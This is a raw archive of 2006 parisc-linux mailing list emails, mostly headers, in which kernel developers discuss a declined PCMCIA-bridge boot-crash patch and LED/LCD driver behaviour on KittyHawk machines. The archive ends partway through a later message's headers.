Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C09B7D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Nov 2006 23:40:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10216-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 8 Nov 2006 23:40:39 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E65117D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Nov 2006 23:40:38 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5B6753D8379;
	Wed,  8 Nov 2006 23:40:38 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29988-09; Wed, 8 Nov 2006 23:40:37 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C38913D8378; Wed,  8 Nov 2006 23:40:37 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RrdnLXhTZDI4DLHGdWY2ofBxemhmY4F7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24066

On Wed, Nov 08, 2006 at 03:07:06PM +0100, Guy Martin wrote:
> Hi All,
> 
> Referencing this thread about a crash when there is a pcmcia bridge plugged in a C3600 :
> http://lists.parisc-linux.org/pipermail/parisc-linux/2006-October/030312.html
> 
> This small patch avoid a crash at boot time.
> 
> It's certainly not perfect as it would be better to fix
> pci_scan_bus_parented() which returns NULL but at least
> it makes the box booting.

Guy,
This is exactly why I won't apply this patch.
Not many people are plugging PCMCIA bridges into parisc boxen.
Those that do can tweak this by hand if they really insist on
installing something that causes the kernel to crash.

> Thanks for applying or fixing this in a better way :)

I should have a bit of time next week to look at this
and one other parisc problem...but I first need to test the recipe
that willy posted last week for updating existing git source trees.

thanks for your patience and gentle reminder,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Sun, 12 Nov 2006 15:04:38 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <200611121504.38965.deller@gmx.de>
References: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624208 21535 80.91.229.3 (22 Nov 2014 02:43:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:28 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2006 14:05:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 12 Nov 2006 15:05:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA68C7D8C2;
	Sun, 12 Nov 2006 07:04:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08830-05; Sun, 12 Nov 2006 07:04:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECB907D8BD;
	Sun, 12 Nov 2006 07:04:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94F447D8B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 07:04:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08829-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 07:04:49 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C154A7D8B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 07:04:48 -0700 (MST)
Original-Received: (qmail invoked by alias); 12 Nov 2006 14:04:47 -0000
Original-Received: from mnhm-590c0b3e.pool.einsundeins.de (EHLO p100.box) [89.12.11.62]
	by mail.gmx.net (mp028) with SMTP; 12 Nov 2006 15:04:47 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aUMyBG8zfW4oTuWveGVoapJmdmllcsV6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24067

Hi Guy,

On Sunday 12 November 2006 01:45, Guy Martin wrote:
> I've noticed that the LCD on my K410 is filled at a constant rate with black characters.
> After some investigation, it looked like the code updating the led status was filling the LCD.
....

instead of adding:
+               no_led = 1;     /* no led support on KittyHawk */
                goto found;     /* use the preinitialized values of lcd_info */

did you tried to comment out the "goto found" ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Sun, 12 Nov 2006 15:50:47 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20061112155047.f1ec7175.gmsoft@tuxicoman.be>
References: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
	<200611121504.38965.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624208 21538 80.91.229.3 (22 Nov 2014 02:43:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <gmsoft@tuxicoman.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2006 14:51:01 -0000
Original-Received: from smtp-out.coditel.net (EHLO smtp-out.coditel.net) [212.95.66.33]
  by mx0.gmx.net (mx095) with SMTP; 12 Nov 2006 15:51:01 +0100
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 51991EB178; Sun, 12 Nov 2006 15:50:58 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net [85.28.84.48])
	by smtp.coditel.net (Postfix) with ESMTP
	id 9B64B2FD74; Sun, 12 Nov 2006 15:50:53 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1GjGdw-0001u4-UA; Sun, 12 Nov 2006 15:49:09 +0100
In-Reply-To: <200611121504.38965.deller@gmx.de>
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4QZlds9xPTRtDujGPjIwEQgxc2tpZEtC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24068


Hi Helge,

This can't work. If you don't call register_led_driver(), led_func_ptr and led_type stay NULL and lcd_print() never prints anything.
You can change lcd_print() not to check led_func_ptr but I fear something may break if the device is not initialized :)

Maybe we could use static int initialized defined in register_led_driver and make it global to check if the device is ready or not.

  Guy


On Sun, 12 Nov 2006 15:04:38 +0100
Helge Deller <deller@gmx.de> wrote:

> Hi Guy,
> 
> On Sunday 12 November 2006 01:45, Guy Martin wrote:
> > I've noticed that the LCD on my K410 is filled at a constant rate with black characters.
> > After some investigation, it looked like the code updating the led status was filling the LCD.
> ....
> 
> instead of adding:
> +               no_led = 1;     /* no led support on KittyHawk */
>                 goto found;     /* use the preinitialized values of lcd_info */
> 
> did you tried to comment out the "goto found" ?
> 
> Helge



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Sun, 12 Nov 2006 16:05:07 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <200611121605.07365.deller@gmx.de>
References: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
	<200611121504.38965.deller@gmx.de>
	<20061112155047.f1ec7175.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624208 21540 80.91.229.3 (22 Nov 2014 02:43:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2006 15:05:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 12 Nov 2006 16:05:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB0E87D8E4;
	Sun, 12 Nov 2006 08:05:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10263-05; Sun, 12 Nov 2006 08:05:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76FD07D8E1;
	Sun, 12 Nov 2006 08:05:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CF0F7D8D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 08:05:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10263-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 08:05:13 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C41A97D8DA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 08:05:12 -0700 (MST)
Original-Received: (qmail invoked by alias); 12 Nov 2006 15:05:09 -0000
Original-Received: from mnhm-590c0b3e.pool.einsundeins.de (EHLO p100.box) [89.12.11.62]
	by mail.gmx.net (mp043) with SMTP; 12 Nov 2006 16:05:09 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <20061112155047.f1ec7175.gmsoft@tuxicoman.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CgpkcZUPX1VpCOuYY2Fy6393SDc4NEz3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24069

Hi Guy,

I think you misunderstood me.
My idea was that you check what your machine's BIOS (PDC) returns for pdc_chassis_info().

So, if you would remove this code from led_init() you may test the results without this "workaround for KittyHawk":
        /* Work around the buggy PDC of KittyHawk-machines */
        switch (CPU_HVERSION) {
        case 0x580:             /* KittyHawk DC2-100 (K100) */
        case 0x581:             /* KittyHawk DC3-120 (K210) */
        case 0x582:             /* KittyHawk DC3 100 (K400) */
        case 0x583:             /* KittyHawk DC3 120 (K410) */
        case 0x58B:             /* KittyHawk DC2 100 (K200) */
                printk(KERN_INFO "%s: KittyHawk-Machine (hversion 0x%x) found, "
                                "LED detection skipped.\n", __FILE__, CPU_HVERSION);
                goto found;     /* use the preinitialized values of lcd_info */
        }

Helge


On Sunday 12 November 2006 15:50, Guy Martin wrote:
> 
> Hi Helge,
> 
> This can't work. If you don't call register_led_driver(), led_func_ptr and led_type stay NULL and lcd_print() never prints anything.
> You can change lcd_print() not to check led_func_ptr but I fear something may break if the device is not initialized :)
> 
> Maybe we could use static int initialized defined in register_led_driver and make it global to check if the device is ready or not.
> 
>   Guy
> 
> 
> On Sun, 12 Nov 2006 15:04:38 +0100
> Helge Deller <deller@gmx.de> wrote:
> 
> > Hi Guy,
> > 
> > On Sunday 12 November 2006 01:45, Guy Martin wrote:
> > > I've noticed that the LCD on my K410 is filled at a constant rate with black characters.
> > > After some investigation, it looked like the code updating the led status was filling the LCD.
> > ....
> > 
> > instead of adding:
> > +               no_led = 1;     /* no led support on KittyHawk */
> >                 goto found;     /* use the preinitialized values of lcd_info */
> > 
> > did you tried to comment out the "goto found" ?
> > 
> > Helge
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Mon, 13 Nov 2006 22:54:21 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <20061113225421.e00e5c4b.gmsoft@tuxicoman.be>
References: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
	<200611121504.38965.deller@gmx.de>
	<20061112155047.f1ec7175.gmsoft@tuxicoman.be>
	<200611121605.07365.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624208 21541 80.91.229.3 (22 Nov 2014 02:43:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <gmsoft@tuxicoman.be>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Nov 2006 21:54:09 -0000
Original-Received: from smtp-out.coditel.net (EHLO smtp-out.coditel.net) [212.95.66.33]
  by mx0.gmx.net (mx024) with SMTP; 13 Nov 2006 22:54:09 +0100
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 1D09CEB168; Mon, 13 Nov 2006 22:54:09 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net [85.28.84.48])
	by smtp.coditel.net (Postfix) with ESMTP
	id C6D422FD36; Mon, 13 Nov 2006 22:54:05 +0100 (CET)
Original-Received: from [172.20.1.248] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.62)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1Gjjj1-0003qr-Aq; Mon, 13 Nov 2006 22:52:19 +0100
In-Reply-To: <200611121605.07365.deller@gmx.de>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tdFudIwCYmYSfenCanc36LZKWkZTQRQu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24070


Hi Helge,

Sorry for the missunderstanding.

It says this :
[42949382.500000] LED display at ffd0c000 registered

And nothing can be seen on the lcd since it's not detected and disabled.
/proc/pdc/lcd doesn't exists.

Do you know if this lcd is supposed to display the leds character ?


  Guy


On Sun, 12 Nov 2006 16:05:07 +0100
Helge Deller <deller@gmx.de> wrote:

> Hi Guy,
> 
> I think you misunderstood me.
> My idea was that you check what your machine's BIOS (PDC) returns for pdc_chassis_info().
> 
> So, if you would remove this code from led_init() you may test the results without this "workaround for KittyHawk":
>         /* Work around the buggy PDC of KittyHawk-machines */
>         switch (CPU_HVERSION) {
>         case 0x580:             /* KittyHawk DC2-100 (K100) */
>         case 0x581:             /* KittyHawk DC3-120 (K210) */
>         case 0x582:             /* KittyHawk DC3 100 (K400) */
>         case 0x583:             /* KittyHawk DC3 120 (K410) */
>         case 0x58B:             /* KittyHawk DC2 100 (K200) */
>                 printk(KERN_INFO "%s: KittyHawk-Machine (hversion 0x%x) found, "
>                                 "LED detection skipped.\n", __FILE__, CPU_HVERSION);
>                 goto found;     /* use the preinitialized values of lcd_info */
>         }
> 
> Helge
> 
> 
> On Sunday 12 November 2006 15:50, Guy Martin wrote:
> > 
> > Hi Helge,
> > 
> > This can't work. If you don't call register_led_driver(), led_func_ptr and led_type stay NULL and lcd_print() never prints anything.
> > You can change lcd_print() not to check led_func_ptr but I fear something may break if the device is not initialized :)
> > 
> > Maybe we could use static int initialized defined in register_led_driver and make it global to check if the device is ready or not.
> > 
> >   Guy
> > 
> > 
> > On Sun, 12 Nov 2006 15:04:38 +0100
> > Helge Deller <deller@gmx.de> wrote:
> > 
> > > Hi Guy,
> > > 
> > > On Sunday 12 November 2006 01:45, Guy Martin wrote:
> > > > I've noticed that the LCD on my K410 is filled at a constant rate with black characters.
> > > > After some investigation, it looked like the code updating the led status was filling the LCD.
> > > ....
> > > 
> > > instead of adding:
> > > +               no_led = 1;     /* no led support on KittyHawk */
> > >                 goto found;     /* use the preinitialized values of lcd_info */
> > > 
> > > did you tried to comment out the "goto found" ?
> > > 
> > > Helge
> > 
> > 



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Source for latest Debian build?
Date: Tue, 14 Nov 2006 11:32:20 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <7d01f9f00611140232n6b437ef3m80a8f24bc336d828@mail.gmail.com>
References: <4558EA85.9080202@emenaker.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624209 21546 80.91.229.3 (22 Nov 2014 02:43:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Joe Emenaker" <joe@emenaker.com>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Nov 2006 10:32:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 14 Nov 2006 11:32:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C1907D8E4;
	Tue, 14 Nov 2006 03:32:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13903-01; Tue, 14 Nov 2006 03:32:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DB977D8B5;
	Tue, 14 Nov 2006 03:32:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E711A7D8B7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Nov 2006 03:32:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13680-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Nov 2006 03:32:22 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by free.linux.hp.com (Postfix) with ESMTP id 4B9A27D8B5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Nov 2006 03:32:22 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so1315468ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Nov 2006 02:32:21 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=CHw0gPZcFKylDgmo5ZNjmYutRIfkHZsY/nthOFsbY2zwmfo6en3FaEnpbdit7QANgD09QqEVLMdwhTGufqnOtmQgmsOxTWKurGJUP5YSdPG2vGaLyVhoWrCE6SL6o37ebavwLcNPK+c0lMw1q3K2MSuLCop4q4ys6wLCNaY0EuE=
Original-Received: by 10.78.17.1 with SMTP id 1mr802182huq.1163500340536;
	Tue, 14 Nov 2006 02:32:20 -0800 (PST)
Original-Received: by 10.78.105.2 with HTTP; Tue, 14 Nov 2006 02:32:20 -0800 (PST)
In-Reply-To: <4558EA85.9080202@emenaker.com>
Content-Disposition: inline
X-Google-Sender-Auth: 8f82e80648f71938
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
